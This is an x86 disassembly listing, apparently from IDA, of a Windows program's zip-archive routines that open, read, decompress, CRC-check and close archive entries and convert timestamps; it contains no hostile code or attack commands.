loc_42F8D0: ; CODE XREF: sub_42F6BB+20Aj cmp [ebp+var_4], 0 jnz short loc_42F8E8 mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] cmp ecx, [eax+48h] jz short loc_42F8E8 mov [ebp+var_4], 0FFFFFF99h loc_42F8E8: ; CODE XREF: sub_42F6BB+213j ; sub_42F6BB+219j ... mov edx, [ebp+arg_4] mov eax, [edx] add eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [ecx], eax lea edx, [ebp+var_8] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_42E99E add esp, 8 test eax, eax jz short loc_42F912 mov [ebp+var_4], 0FFFFFFFFh loc_42F912: ; CODE XREF: sub_42F6BB+24Ej mov edx, [ebp+arg_0] mov eax, [edx+78h] mov ecx, [ebp+var_C] lea edx, [eax+ecx+1Eh] mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ebp+var_8] mov [ecx], edx mov eax, [ebp+arg_4] mov ecx, [eax] add ecx, [ebp+var_8] mov edx, [ebp+arg_4] mov [edx], ecx mov eax, [ebp+var_4] loc_42F93C: ; CODE XREF: sub_42F6BB+4Cj mov esp, ebp pop ebp retn sub_42F6BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F940 proc near ; CODE XREF: sub_430A42+DEp ; sub_430A42+3D8p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_0], 0 jnz short loc_42F956 mov eax, 0FFFFFF9Ah jmp loc_42FAFE ; --------------------------------------------------------------------------- loc_42F956: ; CODE XREF: sub_42F940+Aj mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov ecx, [ebp+var_C] cmp dword ptr [ecx+18h], 0 jnz short loc_42F96F mov eax, 0FFFFFF9Ah jmp loc_42FAFE ; --------------------------------------------------------------------------- loc_42F96F: ; CODE XREF: sub_42F940+23j mov edx, [ebp+var_C] cmp dword ptr [edx+7Ch], 0 jz short loc_42F984 mov eax, [ebp+arg_0] push eax call sub_42FF37 add esp, 4 loc_42F984: ; CODE XREF: sub_42F940+36j lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_1C] push edx lea eax, [ebp+var_18] push eax mov ecx, [ebp+var_C] push ecx call sub_42F6BB add esp, 10h test eax, eax jz short loc_42F9AA mov eax, 0FFFFFF99h jmp loc_42FAFE ; --------------------------------------------------------------------------- loc_42F9AA: ; CODE XREF: sub_42F940+5Ej push 6Ch call dword_4331C8 ; malloc add esp, 4 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_42F9C8 mov eax, 0FFFFFF98h jmp loc_42FAFE ; --------------------------------------------------------------------------- loc_42F9C8: ; CODE XREF: sub_42F940+7Cj push 4000h call dword_4331C8 ; malloc add esp, 4 mov edx, [ebp+var_8] mov [edx], eax mov eax, [ebp+var_8] mov ecx, [ebp+var_1C] mov [eax+44h], ecx mov edx, [ebp+var_8] mov eax, [ebp+var_10] mov [edx+48h], eax mov ecx, [ebp+var_8] mov dword ptr [ecx+4Ch], 0 mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jnz short loc_42FA1C cmp [ebp+var_8], 0 jz short loc_42FA12 mov eax, [ebp+var_8] push eax call dword_4331D4 ; free add esp, 4 loc_42FA12: ; CODE XREF: sub_42F940+C3j mov eax, 0FFFFFF98h jmp loc_42FAFE ; --------------------------------------------------------------------------- loc_42FA1C: ; CODE XREF: sub_42F940+BDj mov ecx, [ebp+var_8] mov dword ptr [ecx+40h], 0 mov ecx, [ebp+var_C] xor edx, edx cmp dword ptr [ecx+34h], 0 setz dl mov [ebp+var_14], edx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ecx+3Ch] mov [eax+54h], edx mov eax, [ebp+var_8] mov dword ptr [eax+50h], 0 mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [edx+34h] mov [ecx+64h], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [edx] mov [ecx+60h], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [edx+0Ch] mov [ecx+68h], eax mov ecx, [ebp+var_8] mov dword ptr [ecx+18h], 0 cmp [ebp+var_14], 0 jnz short loc_42FABE mov edx, [ebp+var_8] mov dword ptr [edx+24h], 0 mov eax, [ebp+var_8] mov dword ptr [eax+28h], 0 mov ecx, [ebp+var_8] mov dword ptr [ecx+2Ch], 0 mov edx, [ebp+var_8] add edx, 4 push edx call sub_42DD45 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42FABE mov eax, [ebp+var_8] mov dword ptr [eax+40h], 1 loc_42FABE: ; CODE XREF: sub_42F940+13Cj ; sub_42F940+172j mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [edx+40h] mov [ecx+58h], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [edx+44h] mov [ecx+5Ch], eax mov ecx, [ebp+var_C] mov edx, [ecx+78h] mov eax, [ebp+var_18] lea ecx, [edx+eax+1Eh] mov edx, [ebp+var_8] mov [edx+3Ch], ecx mov eax, [ebp+var_8] mov dword ptr [eax+8], 0 mov ecx, [ebp+var_C] mov edx, [ebp+var_8] mov [ecx+7Ch], edx xor eax, eax loc_42FAFE: ; CODE XREF: sub_42F940+11j ; sub_42F940+2Aj ... mov esp, ebp pop ebp retn sub_42F940 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FB02 proc near ; CODE XREF: sub_430A42+103p ; sub_430A42+3FCp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h push esi mov [ebp+var_4], 0 mov [ebp+var_10], 0 mov eax, [ebp+arg_0] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42FB2D mov eax, 0FFFFFF9Ah jmp loc_42FDF4 ; --------------------------------------------------------------------------- loc_42FB2D: ; CODE XREF: sub_42FB02+1Fj mov ecx, [ebp+var_C] mov edx, [ecx+7Ch] mov [ebp+var_8], edx cmp [ebp+var_8], 0 jnz short loc_42FB46 mov eax, 0FFFFFF9Ah jmp loc_42FDF4 ; --------------------------------------------------------------------------- loc_42FB46: ; CODE XREF: sub_42FB02+38j mov eax, [ebp+var_8] cmp dword ptr [eax], 0 jnz short loc_42FB58 mov eax, 0FFFFFF9Ch jmp loc_42FDF4 ; --------------------------------------------------------------------------- loc_42FB58: ; CODE XREF: sub_42FB02+4Aj cmp [ebp+arg_8], 0 jnz short loc_42FB65 xor eax, eax jmp loc_42FDF4 ; --------------------------------------------------------------------------- loc_42FB65: ; CODE XREF: sub_42FB02+5Aj mov ecx, [ebp+var_8] mov edx, [ebp+arg_4] mov [ecx+10h], edx mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] mov [eax+14h], ecx mov edx, [ebp+var_8] mov eax, [ebp+arg_8] cmp eax, [edx+5Ch] jbe short loc_42FB8E mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [edx+5Ch] mov [ecx+14h], eax loc_42FB8E: ; CODE XREF: sub_42FB02+7Ej ; sub_42FB02:loc_42FDE1j mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 0 jbe loc_42FDE6 mov edx, [ebp+var_8] cmp dword ptr [edx+8], 0 jnz loc_42FC61 mov eax, [ebp+var_8] cmp dword ptr [eax+58h], 0 jbe loc_42FC61 mov [ebp+var_14], 4000h mov ecx, [ebp+var_8] mov edx, [ecx+58h] cmp edx, [ebp+var_14] jnb short loc_42FBD0 mov eax, [ebp+var_8] mov ecx, [eax+58h] mov [ebp+var_14], ecx loc_42FBD0: ; CODE XREF: sub_42FB02+C3j cmp [ebp+var_14], 0 jnz short loc_42FBDD xor eax, eax jmp loc_42FDF4 ; --------------------------------------------------------------------------- loc_42FBDD: ; CODE XREF: sub_42FB02+D2j push 0 mov edx, [ebp+var_8] mov eax, [edx+3Ch] mov ecx, [ebp+var_8] add eax, [ecx+68h] push eax mov edx, [ebp+var_8] mov eax, [edx+60h] push eax call sub_42E7CB add esp, 0Ch test eax, eax jz short loc_42FC07 or eax, 0FFFFFFFFh jmp loc_42FDF4 ; --------------------------------------------------------------------------- loc_42FC07: ; CODE XREF: sub_42FB02+FBj mov ecx, [ebp+var_8] mov edx, [ecx+60h] push edx push 1 mov eax, [ebp+var_14] push eax mov ecx, [ebp+var_8] mov edx, [ecx] push edx call sub_42E8A0 add esp, 10h cmp eax, 1 jz short loc_42FC2F or eax, 0FFFFFFFFh jmp loc_42FDF4 ; --------------------------------------------------------------------------- loc_42FC2F: ; CODE XREF: sub_42FB02+123j mov eax, [ebp+var_8] mov ecx, [eax+3Ch] add ecx, [ebp+var_14] mov edx, [ebp+var_8] mov [edx+3Ch], ecx mov eax, [ebp+var_8] mov ecx, [eax+58h] sub ecx, [ebp+var_14] mov edx, [ebp+var_8] mov [edx+58h], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [ecx] mov [eax+4], edx mov eax, [ebp+var_8] mov ecx, [ebp+var_14] mov [eax+8], ecx loc_42FC61: ; CODE XREF: sub_42FB02+A0j ; sub_42FB02+ADj mov edx, [ebp+var_8] cmp dword ptr [edx+64h], 0 jnz loc_42FD4C mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [eax+14h] cmp edx, [ecx+8] jnb short loc_42FC87 mov eax, [ebp+var_8] mov ecx, [eax+14h] mov [ebp+var_18], ecx jmp short loc_42FC90 ; --------------------------------------------------------------------------- loc_42FC87: ; CODE XREF: sub_42FB02+178j mov edx, [ebp+var_8] mov eax, [edx+8] mov [ebp+var_18], eax loc_42FC90: ; CODE XREF: sub_42FB02+183j mov [ebp+var_1C], 0 jmp short loc_42FCA2 ; --------------------------------------------------------------------------- loc_42FC99: ; CODE XREF: sub_42FB02+1C0j mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx loc_42FCA2: ; CODE XREF: sub_42FB02+195j mov edx, [ebp+var_1C] cmp edx, [ebp+var_18] jnb short loc_42FCC4 mov eax, [ebp+var_8] mov ecx, [eax+4] mov edx, [ebp+var_8] mov eax, [edx+10h] mov edx, [ebp+var_1C] mov esi, [ebp+var_1C] mov cl, [ecx+esi] mov [eax+edx], cl jmp short loc_42FC99 ; --------------------------------------------------------------------------- loc_42FCC4: ; CODE XREF: sub_42FB02+1A6j mov edx, [ebp+var_18] push edx mov eax, [ebp+var_8] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_8] mov eax, [edx+50h] push eax call sub_42D7C5 add esp, 0Ch mov ecx, [ebp+var_8] mov [ecx+50h], eax mov edx, [ebp+var_8] mov eax, [edx+5Ch] sub eax, [ebp+var_18] mov ecx, [ebp+var_8] mov [ecx+5Ch], eax mov edx, [ebp+var_8] mov eax, [edx+8] sub eax, [ebp+var_18] mov ecx, [ebp+var_8] mov [ecx+8], eax mov edx, [ebp+var_8] mov eax, [edx+14h] sub eax, [ebp+var_18] mov ecx, [ebp+var_8] mov [ecx+14h], eax mov edx, [ebp+var_8] mov eax, [edx+10h] add eax, [ebp+var_18] mov ecx, [ebp+var_8] mov [ecx+10h], eax mov edx, [ebp+var_8] mov eax, [edx+4] add eax, [ebp+var_18] mov ecx, [ebp+var_8] mov [ecx+4], eax mov edx, [ebp+var_8] mov eax, [edx+18h] add eax, [ebp+var_18] mov ecx, [ebp+var_8] mov [ecx+18h], eax mov edx, [ebp+var_10] add edx, [ebp+var_18] mov [ebp+var_10], edx jmp loc_42FDE1 ; --------------------------------------------------------------------------- loc_42FD4C: ; CODE XREF: sub_42FB02+166j mov [ebp+var_30], 2 mov eax, [ebp+var_8] mov ecx, [eax+18h] mov [ebp+var_28], ecx mov edx, [ebp+var_8] mov eax, [edx+10h] mov [ebp+var_2C], eax mov ecx, [ebp+var_30] push ecx mov edx, [ebp+var_8] add edx, 4 push edx call sub_42DEC5 add esp, 8 mov [ebp+var_4], eax mov eax, [ebp+var_8] mov ecx, [eax+18h] mov [ebp+var_20], ecx mov edx, [ebp+var_20] sub edx, [ebp+var_28] mov [ebp+var_24], edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+var_8] mov eax, [edx+50h] push eax call sub_42D7C5 add esp, 0Ch mov ecx, [ebp+var_8] mov [ecx+50h], eax mov edx, [ebp+var_8] mov eax, [edx+5Ch] sub eax, [ebp+var_24] mov ecx, [ebp+var_8] mov [ecx+5Ch], eax mov edx, [ebp+var_20] sub edx, [ebp+var_28] mov eax, [ebp+var_10] add eax, edx mov [ebp+var_10], eax cmp [ebp+var_4], 1 jnz short loc_42FDD9 mov eax, [ebp+var_10] neg eax sbb eax, eax and eax, [ebp+var_10] jmp short loc_42FDF4 ; --------------------------------------------------------------------------- loc_42FDD9: ; CODE XREF: sub_42FB02+2C9j cmp [ebp+var_4], 0 jz short loc_42FDE1 jmp short loc_42FDE6 ; --------------------------------------------------------------------------- loc_42FDE1: ; CODE XREF: sub_42FB02+245j ; sub_42FB02+2DBj jmp loc_42FB8E ; --------------------------------------------------------------------------- loc_42FDE6: ; CODE XREF: sub_42FB02+93j ; sub_42FB02+2DDj cmp [ebp+var_4], 0 jnz short loc_42FDF1 mov eax, [ebp+var_10] jmp short loc_42FDF4 ; --------------------------------------------------------------------------- loc_42FDF1: ; CODE XREF: sub_42FB02+2E8j mov eax, [ebp+var_4] loc_42FDF4: ; CODE XREF: sub_42FB02+26j ; sub_42FB02+3Fj ... pop esi mov esp, ebp pop ebp retn sub_42FB02 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 cmp dword ptr [ebp+8], 0 jnz short loc_42FE0C mov eax, 0FFFFFF9Ah jmp short loc_42FE2E ; --------------------------------------------------------------------------- loc_42FE0C: ; CODE XREF: TEUm:0042FE03j mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp-8] mov edx, [ecx+7Ch] mov [ebp-4], edx cmp dword ptr [ebp-4], 0 jnz short loc_42FE28 mov eax, 0FFFFFF9Ah jmp short loc_42FE2E ; --------------------------------------------------------------------------- loc_42FE28: ; CODE XREF: TEUm:0042FE1Fj mov eax, [ebp-4] mov eax, [eax+18h] loc_42FE2E: ; CODE XREF: TEUm:0042FE0Aj ; TEUm:0042FE26j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 cmp dword ptr [ebp+8], 0 jnz short loc_42FE45 mov eax, 0FFFFFF9Ah jmp short loc_42FE73 ; --------------------------------------------------------------------------- loc_42FE45: ; CODE XREF: TEUm:0042FE3Cj mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp-8] mov edx, [ecx+7Ch] mov [ebp-4], edx cmp dword ptr [ebp-4], 0 jnz short loc_42FE61 mov eax, 0FFFFFF9Ah jmp short loc_42FE73 ; --------------------------------------------------------------------------- loc_42FE61: ; CODE XREF: TEUm:0042FE58j mov eax, [ebp-4] cmp dword ptr [eax+5Ch], 0 jnz short loc_42FE71 mov eax, 1 jmp short loc_42FE73 ; --------------------------------------------------------------------------- loc_42FE71: ; CODE XREF: TEUm:0042FE68j xor eax, eax loc_42FE73: ; CODE XREF: TEUm:0042FE43j ; TEUm:0042FE5Fj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h cmp dword ptr [ebp+8], 0 jnz short loc_42FE8D mov eax, 0FFFFFF9Ah jmp loc_42FF33 ; --------------------------------------------------------------------------- loc_42FE8D: ; CODE XREF: TEUm:0042FE81j mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp-8] mov edx, [ecx+7Ch] mov [ebp-4], edx cmp dword ptr [ebp-4], 0 jnz short loc_42FEAC mov eax, 0FFFFFF9Ah jmp loc_42FF33 ; --------------------------------------------------------------------------- loc_42FEAC: ; CODE XREF: TEUm:0042FEA0j mov eax, [ebp-4] mov ecx, [ebp-4] mov edx, [eax+48h] sub edx, [ecx+4Ch] mov [ebp-0Ch], edx cmp dword ptr [ebp+0Ch], 0 jnz short loc_42FEC6 mov eax, [ebp-0Ch] jmp short loc_42FF33 ; --------------------------------------------------------------------------- loc_42FEC6: ; CODE XREF: TEUm:0042FEBFj mov eax, [ebp+10h] cmp eax, [ebp-0Ch] jbe short loc_42FED6 mov ecx, [ebp-0Ch] mov [ebp-10h], ecx jmp short loc_42FEDC ; --------------------------------------------------------------------------- loc_42FED6: ; CODE XREF: TEUm:0042FECCj mov edx, [ebp+10h] mov [ebp-10h], edx loc_42FEDC: ; CODE XREF: TEUm:0042FED4j cmp dword ptr [ebp-10h], 0 jnz short loc_42FEE6 xor eax, eax jmp short loc_42FF33 ; --------------------------------------------------------------------------- loc_42FEE6: ; CODE XREF: TEUm:0042FEE0j push 0 mov eax, [ebp-4] mov ecx, [eax+44h] mov edx, [ebp-4] add ecx, [edx+4Ch] push ecx mov eax, [ebp-4] mov ecx, [eax+60h] push ecx call sub_42E7CB add esp, 0Ch test eax, eax jz short loc_42FF0D or eax, 0FFFFFFFFh jmp short loc_42FF33 ; --------------------------------------------------------------------------- loc_42FF0D: ; CODE XREF: TEUm:0042FF06j mov edx, [ebp-4] mov eax, [edx+60h] push eax push 1 mov ecx, [ebp-0Ch] push ecx mov edx, [ebp+0Ch] push edx call sub_42E8A0 add esp, 10h cmp eax, 1 jz short loc_42FF30 or eax, 0FFFFFFFFh jmp short loc_42FF33 ; --------------------------------------------------------------------------- loc_42FF30: ; CODE XREF: TEUm:0042FF29j mov eax, [ebp-10h] loc_42FF33: ; CODE XREF: TEUm:0042FE88j ; TEUm:0042FEA7j ... mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FF37 proc near ; CODE XREF: sub_42EF38+24p ; sub_42F940+3Cp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_4], 0 cmp [ebp+arg_0], 0 jnz short loc_42FF54 mov eax, 0FFFFFF9Ah jmp loc_430002 ; --------------------------------------------------------------------------- loc_42FF54: ; CODE XREF: sub_42FF37+11j mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov ecx, [ebp+var_C] mov edx, [ecx+7Ch] mov [ebp+var_8], edx cmp [ebp+var_8], 0 jnz short loc_42FF73 mov eax, 0FFFFFF9Ah jmp loc_430002 ; --------------------------------------------------------------------------- loc_42FF73: ; CODE XREF: sub_42FF37+30j mov eax, [ebp+var_8] cmp dword ptr [eax+5Ch], 0 jnz short loc_42FF91 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [ecx+50h] cmp eax, [edx+54h] jz short loc_42FF91 mov [ebp+var_4], 0FFFFFF97h loc_42FF91: ; CODE XREF: sub_42FF37+43j ; sub_42FF37+51j mov ecx, [ebp+var_8] cmp dword ptr [ecx], 0 jz short loc_42FFB7 mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx call dword_4331D4 ; free add esp, 4 mov edx, [ebp+var_8] mov dword ptr [edx], 0 loc_42FFB7: ; CODE XREF: sub_42FF37+60j mov eax, [ebp+var_8] mov dword ptr [eax], 0 mov ecx, [ebp+var_8] cmp dword ptr [ecx+40h], 0 jz short loc_42FFD8 mov edx, [ebp+var_8] add edx, 4 push edx call sub_42DCDC add esp, 4 loc_42FFD8: ; CODE XREF: sub_42FF37+90j mov eax, [ebp+var_8] mov dword ptr [eax+40h], 0 cmp [ebp+var_8], 0 jz short loc_42FFF5 mov ecx, [ebp+var_8] push ecx call dword_4331D4 ; free add esp, 4 loc_42FFF5: ; CODE XREF: sub_42FF37+AFj mov edx, [ebp+var_C] mov dword ptr [edx+7Ch], 0 mov eax, [ebp+var_4] loc_430002: ; CODE XREF: sub_42FF37+18j ; sub_42FF37+37j mov esp, ebp pop ebp retn sub_42FF37 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 cmp dword ptr [ebp+8], 0 jnz short loc_43001C mov eax, 0FFFFFF9Ah jmp loc_4300AE ; --------------------------------------------------------------------------- loc_43001C: ; CODE XREF: TEUm:00430010j mov eax, [ebp+8] mov [ebp-4], eax mov ecx, [ebp+10h] mov [ebp-8], ecx mov edx, [ebp-4] mov eax, [ebp-8] cmp eax, [edx+8] jbe short loc_43003C mov ecx, [ebp-4] mov edx, [ecx+8] mov [ebp-8], edx loc_43003C: ; CODE XREF: TEUm:00430031j push 0 mov eax, [ebp-4] mov ecx, [eax+1Ch] add ecx, 16h push ecx mov edx, [ebp-4] mov eax, [edx] push eax call sub_42E7CB add esp, 0Ch test eax, eax jz short loc_43005F or eax, 0FFFFFFFFh jmp short loc_4300AE ; --------------------------------------------------------------------------- loc_43005F: ; CODE XREF: TEUm:00430058j cmp dword ptr [ebp-8], 0 jbe short loc_43008D mov ecx, [ebp+0Ch] mov byte ptr [ecx], 0 mov edx, [ebp-4] mov eax, [edx] push eax push 1 mov ecx, [ebp-8] push ecx mov edx, [ebp+0Ch] push edx call sub_42E8A0 add esp, 10h cmp eax, 1 jz short loc_43008D or eax, 0FFFFFFFFh jmp short loc_4300AE ; --------------------------------------------------------------------------- loc_43008D: ; CODE XREF: TEUm:00430063j ; TEUm:00430086j cmp dword ptr [ebp+0Ch], 0 jz short loc_4300AB mov eax, [ebp-4] mov ecx, [ebp+10h] cmp ecx, [eax+8] jbe short loc_4300AB mov edx, [ebp-4] mov eax, [edx+8] mov ecx, [ebp+0Ch] mov byte ptr [ecx+eax], 0 loc_4300AB: ; CODE XREF: TEUm:00430091j ; TEUm:0043009Cj mov eax, [ebp-8] loc_4300AE: ; CODE XREF: TEUm:00430017j ; TEUm:0043005Dj ... mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4300B2 proc near ; CODE XREF: sub_4301DC+55Bp ; sub_4301DC+5B8p ... var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 1Ch lea eax, [ebp+arg_0] push eax call dword_433210 ; gmtime add esp, 4 mov [ebp+var_C], eax mov ecx, [ebp+var_C] mov edx, [ecx+14h] add edx, 76Ch mov [ebp+var_1C], dx mov eax, [ebp+var_C] mov ecx, [eax+10h] add ecx, 1 mov [ebp+var_1A], cx mov edx, [ebp+var_C] mov ax, [edx+0Ch] mov [ebp+var_16], ax mov ecx, [ebp+var_C] mov dx, [ecx+8] mov [ebp+var_14], dx mov eax, [ebp+var_C] mov cx, [eax+4] mov [ebp+var_12], cx mov edx, [ebp+var_C] mov ax, [edx] mov [ebp+var_10], ax mov [ebp+var_E], 0 lea ecx, [ebp+var_8] push ecx lea edx, [ebp+var_1C] push edx call dword_433094 ; SystemTimeToFileTime mov eax, [ebp+var_8] mov edx, [ebp+var_4] mov esp, ebp pop ebp retn sub_4300B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43012E proc near ; CODE XREF: sub_43126B+6Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], ecx mov eax, [ebp+var_10] cmp dword ptr [eax], 0 jnz short loc_430148 mov ecx, [ebp+var_10] cmp dword ptr [ecx+4], 0FFFFFFFFh jz short loc_430152 loc_430148: ; CODE XREF: sub_43012E+Fj mov eax, 1000000h jmp loc_4301D6 ; --------------------------------------------------------------------------- loc_430152: ; CODE XREF: sub_43012E+18j mov edx, [ebp+var_10] add edx, 138h push edx push 104h call dword_43302C ; GetCurrentDirectoryA push offset asc_4378E4 ; "\\" mov eax, [ebp+var_10] add eax, 138h push eax call sub_4318D0 ; strcat add esp, 8 cmp [ebp+arg_8], 1 jnz short loc_43019D mov ecx, [ebp+arg_0] push ecx call dword_4330A0 ; GetFileType mov [ebp+var_C], eax cmp [ebp+var_C], 1 jz short loc_43019D mov eax, 2000000h jmp short loc_4301D6 ; --------------------------------------------------------------------------- loc_43019D: ; CODE XREF: sub_43012E+53j ; sub_43012E+66j lea edx, [ebp+var_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42E589 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4301C3 mov eax, [ebp+var_4] jmp short loc_4301D6 ; --------------------------------------------------------------------------- loc_4301C3: ; CODE XREF: sub_43012E+8Ej mov eax, [ebp+var_8] push eax call sub_42ED22 add esp, 4 mov ecx, [ebp+var_10] mov [ecx], eax xor eax, eax loc_4301D6: ; CODE XREF: sub_43012E+1Fj ; sub_43012E+6Dj ... mov esp, ebp pop ebp retn 0Ch sub_43012E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4301DC proc near ; CODE XREF: sub_430867+B9p ; sub_430A42+1F5p ... var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_1E0 = dword ptr -1E0h var_1DC = dword ptr -1DCh var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = dword ptr -1BCh var_1B8 = dword ptr -1B8h var_1B4 = byte ptr -1B4h var_1B3 = byte ptr -1B3h var_1B2 = byte ptr -1B2h var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_8C = byte ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = word ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = word ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_24 = dword ptr -24h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1E8h mov [ebp+var_1E8], ecx cmp [ebp+arg_0], 0FFFFFFFFh jl short loc_430201 mov eax, [ebp+var_1E8] mov ecx, [eax] mov edx, [ebp+arg_0] cmp edx, [ecx+4] jl short loc_43020B loc_430201: ; CODE XREF: sub_4301DC+13j mov eax, 10000h jmp loc_430861 ; --------------------------------------------------------------------------- loc_43020B: ; CODE XREF: sub_4301DC+23j mov eax, [ebp+var_1E8] cmp dword ptr [eax+4], 0FFFFFFFFh jz short loc_430228 mov ecx, [ebp+var_1E8] mov edx, [ecx] push edx call sub_42FF37 add esp, 4 loc_430228: ; CODE XREF: sub_4301DC+39j mov eax, [ebp+var_1E8] mov dword ptr [eax+4], 0FFFFFFFFh mov ecx, [ebp+var_1E8] mov edx, [ebp+arg_0] cmp edx, [ecx+134h] jnz short loc_43026E cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_43026E push 12Ch mov eax, [ebp+var_1E8] add eax, 8 push eax mov ecx, [ebp+arg_4] push ecx call sub_4318C4 ; memcpy add esp, 0Ch xor eax, eax jmp loc_430861 ; --------------------------------------------------------------------------- loc_43026E: ; CODE XREF: sub_4301DC+68j ; sub_4301DC+6Ej cmp [ebp+arg_0], 0FFFFFFFFh jnz loc_43030B mov edx, [ebp+var_1E8] mov eax, [edx] mov ecx, [ebp+arg_4] mov edx, [eax+4] mov [ecx], edx mov eax, [ebp+arg_4] mov byte ptr [eax+4], 0 mov ecx, [ebp+arg_4] mov dword ptr [ecx+108h], 0 mov edx, [ebp+arg_4] mov dword ptr [edx+10Ch], 0 mov eax, [ebp+arg_4] mov dword ptr [eax+110h], 0 mov ecx, [ebp+arg_4] mov dword ptr [ecx+114h], 0 mov edx, [ebp+arg_4] mov dword ptr [edx+118h], 0 mov eax, [ebp+arg_4] mov dword ptr [eax+11Ch], 0 mov ecx, [ebp+arg_4] mov dword ptr [ecx+120h], 0 mov edx, [ebp+arg_4] mov dword ptr [edx+124h], 0 mov eax, [ebp+arg_4] mov dword ptr [eax+128h], 0 xor eax, eax jmp loc_430861 ; --------------------------------------------------------------------------- loc_43030B: ; CODE XREF: sub_4301DC+96j mov ecx, [ebp+var_1E8] mov edx, [ecx] mov eax, [ebp+arg_0] cmp eax, [edx+10h] jge short loc_43032C mov ecx, [ebp+var_1E8] mov edx, [ecx] push edx call sub_42F473 add esp, 4 loc_43032C: ; CODE XREF: sub_4301DC+13Dj ; sub_4301DC+171j mov eax, [ebp+var_1E8] mov ecx, [eax] 